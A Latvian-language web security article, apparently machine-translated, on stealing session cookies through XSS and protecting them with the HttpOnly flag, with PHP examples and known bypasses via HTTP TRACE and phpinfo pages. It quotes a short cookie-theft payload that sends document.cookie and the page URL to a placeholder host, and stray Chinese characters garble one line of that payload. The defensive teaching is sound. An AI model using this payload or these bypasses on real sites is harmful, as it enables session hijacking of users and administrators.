Pieaugot www pakalpojumiem, arvien vairāk lietojumprogrammu ir pārgājušas uz B / S struktūrām, lai dažādiem tīmekļa pakalpojumiem varētu piekļūt tikai ar vienu pārlūkprogrammu, bet tas arī arvien vairāk noved pie arvien vairāk tīmekļa drošības problēmu. www pakalpojums balstās uz Http protokolu, Http ir bezvalstnieka protokols, tāpēc, lai nodotu informāciju starp sesijām, ir neizbēgami izmantot sīkdatnes vai sesijas un citas tehnoloģijas, lai atzīmētu apmeklētāja stāvokli, un neatkarīgi no tā, vai tas ir sīkfails vai sesija, tas parasti tiek īstenots, izmantojot sīkdatnes (Sesija faktiski ir atzīmēta ar marķieru pārlūkprogrammas sīkfailā, Serveris iegūst šo marķieru un pārbauda likumību un saista atbilstošo serverī saglabāto stāvokli pārlūkprogrammai), lai tas neizbēgami koncentrētos uz sīkfailu droši, kamēr šis sīkfails tiek iegūts, var iegūt citu identitāti, kas ir brīnišķīga lieta iebrucējiem, it īpaši, ja iegūtais sīkfails pieder augsti priviliģētai personai, piemēram, administratoram, kaitējums ir vēl lielāks. Starp dažādām tīmekļa drošības problēmām XSS ievainojamība ir īpaši bīstama. Lietojumprogrammām, kad ir XSS ievainojamība, tas nozīmē, ka citi var izpildīt patvaļīgus JS skriptus jūsu pārlūkprogrammā, un, ja lietojumprogramma ir atvērtā koda vai funkcijas ir publiskas, citi var izmantot Ajax, lai izmantotu šīs funkcijas, taču process bieži ir apgrūtinošs, it īpaši, ja vēlaties tieši iegūt kāda cita identitāti gadījuma pārlūkošanai. Lietojumprogrammām, kas nav atvērtā koda lietojumprogrammas, piemēram, dažu lielu vietņu tīmekļa fons (nozīmīga web2.0 iezīme ir liels mijiedarbības skaits, lietotājiem bieži ir jāmijiedarbojas ar administratoriem fonā, piemēram, kļūdu ziņojumi vai informācijas piegāde utt.), lai gan mijiedarbības esamības dēļ var būt starpvietņu skriptēšanas ievainojamība, bet fona izpratnes trūkuma dēļ nav iespējams izveidot perfektu ajax kodu, pat ja jūs varat izmantot js, lai iegūtu fona kodu un atgrieztu to analīzei, bet process ir arī apgrūtinošs un nav slēpts. Šobrīd ir ļoti efektīvi izmantot xss ievainojamību, lai iegūtu sīkfailus vai sesijas nolaupīšanu, īpaši analizētu lietojumprogrammas autentifikāciju un pēc tam izmantotu noteiktas metodes un pat neatgriezeniski iegūtu otras puses identitāti pat tad, ja otra puse iziet no programmas. Tātad, kā iegūt sīkfailu vai sesijas nolaupīšanu? Pārlūkprogrammas dokumenta objektā sīkfaila informācija tiek saglabāta, un sīkfailu var izgūt, izmantojot js, ja vien saņemat šo sīkfailu, jums var būt kāda cita identitāte. Tipisks XSS uzbrukuma paziņojums ir šāds:
- xss exp:
- url=document.top.locatio去掉n.href;
- cookie=document.cookie;
- c=new Image();
- c.src=’<a target="_blank">http://www.xxx.net/c.php?c=</a>’+cookie+’&u=’+url;
Kopēt kodu Dažas lietojumprogrammas var izmantot pārlūkprogrammas saistīšanas metodes, lai risinātu šo problēmu, piemēram, saistīt sīkfailus ar pārlūkprogrammas lietotāja aģentu, un uzskatīt, ka sīkfails ir nederīgs, tiklīdz tas ir atklāts. Šī metode ir izrādījusies neefektīva, jo, kad iebrucējs nozog sīkdatni, viņam vienlaikus ir jāiegūst Lietotāja aģents. Ir arī vēl viens stingrs, kas saista sīkfailus ar Remote-addr (patiesībā tas ir saistīts ar IP, bet dažām programmām ir problēmas ar IP iegūšanas metodi, kas arī noved pie šķelšanās), bet tas rada ļoti sliktu lietotāja pieredzi, IP maiņa ir izplatīta lieta, piemēram, darbs un mājas ir 2 IP, tāpēc šī metode bieži netiek pieņemta. Tāpēc sīkdatņu uzbrukumi tagad ir ļoti populāri, un dažās web 2.0 vietnēs ir viegli iegūt lietojumprogrammas administratora statusu. Kā mēs varam aizsargāt mūsu sensitīvos sīkfailus? Izmantojot iepriekš minēto analīzi, no dokumentu objektiem tiek iegūtas vispārīgas sīkdatnes, un mums vienkārši jāpadara sensitīvas sīkdatnes neredzamas pārlūkprogrammas dokumentā. Par laimi, pārlūkprogrammas tagad parasti pieņem parametru ar nosaukumu HttpOnly, iestatot sīkfailus, tāpat kā citus parametrus, piemēram, domēnu, kad šis HttpOnly ir iestatīts, jūs neredzēsiet sīkfailu pārlūkprogrammas dokumenta objektā, un pārlūkošanas laikā pārlūkprogramma nekādā veidā netiks ietekmēta, jo sīkdatne tiks nosūtīta pārlūkprogrammas galvenē (ieskaitot ajax). Lietojumprogrammas parasti nedarbojas ar šiem sensitīvajiem sīkfailiem js, mēs izmantojam HttpOnly dažiem sensitīviem sīkfailiem, un mēs neiestatām dažus sīkfailus, kas jādarbina ar js lietojumprogrammā, kas nodrošina sīkdatņu informācijas drošību un nodrošina lietojumprogrammu. Papildinformāciju par HttpOnly skatiet http://msdn2.microsoft.com/en-us/library/ms533046.aspx. Sīkdatņu iestatīšanas galvene jūsu pārlūkprogrammā ir šāda:
- Set-Cookie: =[; =]
- [; expires=][; domain=]
- [; path=][; secure][; HttpOnly]
Kopēt kodu Ņemot par piemēru php, HttpOnly atbalsts ir pievienots funkcijai Setcookie php 5.2, piemēram: setcookie("abc","test",NULL,NULL,NULL,NULL,TRUE); Jūs varat iestatīt abc sīkfailu uz HttpOnly, un dokuments nebūs redzams šim sīkfailam. Tā kā funkcija setcookie būtībā ir galvene, varat arī izmantot galveni, lai iestatītu HttpOnly. Pēc tam izmantojiet document.cookie, lai redzētu, ka šis sīkfails vairs nav pieejams. Mēs izmantojam šo metodi, lai aizsargātu Sessionid, piemēram, dažus autentifikācijas sīkfailus autentifikācijai, lai mums nebūtu jāuztraucas par identitātes iegūšanu, kas ir ļoti svarīgi dažām fona programmām un tīmekļa pastam, lai uzlabotu drošību. Kad mēs atkal izmantojam iepriekš minēto uzbrukuma metodi, mēs redzam, ka mēs vairs nevaram iegūt sensitīvus sīkfailus, kurus iestatījām kā HttpOnly. Tomēr var arī redzēt, ka HttpOnly nav visvarens, pirmkārt, tas nevar atrisināt xss problēmu, tas joprojām nevar pretoties dažu pacientu hakeru uzbrukumam, kā arī nevar novērst iebrucējus no ajax iesniegumiem, un pat ir parādījušies daži xss balstīti starpniekserveri, bet ir bijis iespējams paaugstināt uzbrukumu slieksni, vismaz xss uzbrukumus nepabeidz katrs skripta bērns, un citas uzbrukuma metodes ir saistītas ar dažiem vides un tehniskiem ierobežojumiem. Tas nav tik izplatīts kā sīkdatņu zādzība. HttpOnly var arī izmantot dažas ievainojamības vai konfigurēt apvedceļu, galvenā problēma ir tā, ka, kamēr jūs varat saņemt sīkfailu galveni, ko nosūta pārlūkprogramma. Piemēram, iepriekšējais Http Trace uzbrukums var atgriezt sīkfailu galvenē, un šo uzbrukumu var pabeigt, izmantojot ajax vai flash, kas arī ir ielāpēts ajax un flash. Vēl viens ievērojams piemērs iespējamam konfigurācijas vai lietojumprogrammas apvedceļam ir phpinfo, kā jūs zināt, phpinfo parādīs pārlūkprogrammas nosūtīto http galveni, ieskaitot autentifikācijas informāciju, kuru mēs aizsargājam, un šī lapa bieži pastāv dažādās vietnēs, kamēr jūs izmantojat ajax, lai iegūtu phpinfo lapu, izņemiet daļu, kas atbilst galvenes galvenei, lai iegūtu sīkfailu. Dažu lietojumprogrammu nepilnības var izraisīt arī galvenes noplūdi, kurai var uzbrukt tikpat daudz kā lapai, kas aizsargāta ar pamata verifikāciju. HttpOnly ir labāk atbalstīts IE 6 un jaunākās versijās, un tas tiek plaši izmantots tādās lietojumprogrammās kā Hotmail, un ir sasniedzis salīdzinoši labus drošības rezultātus.
|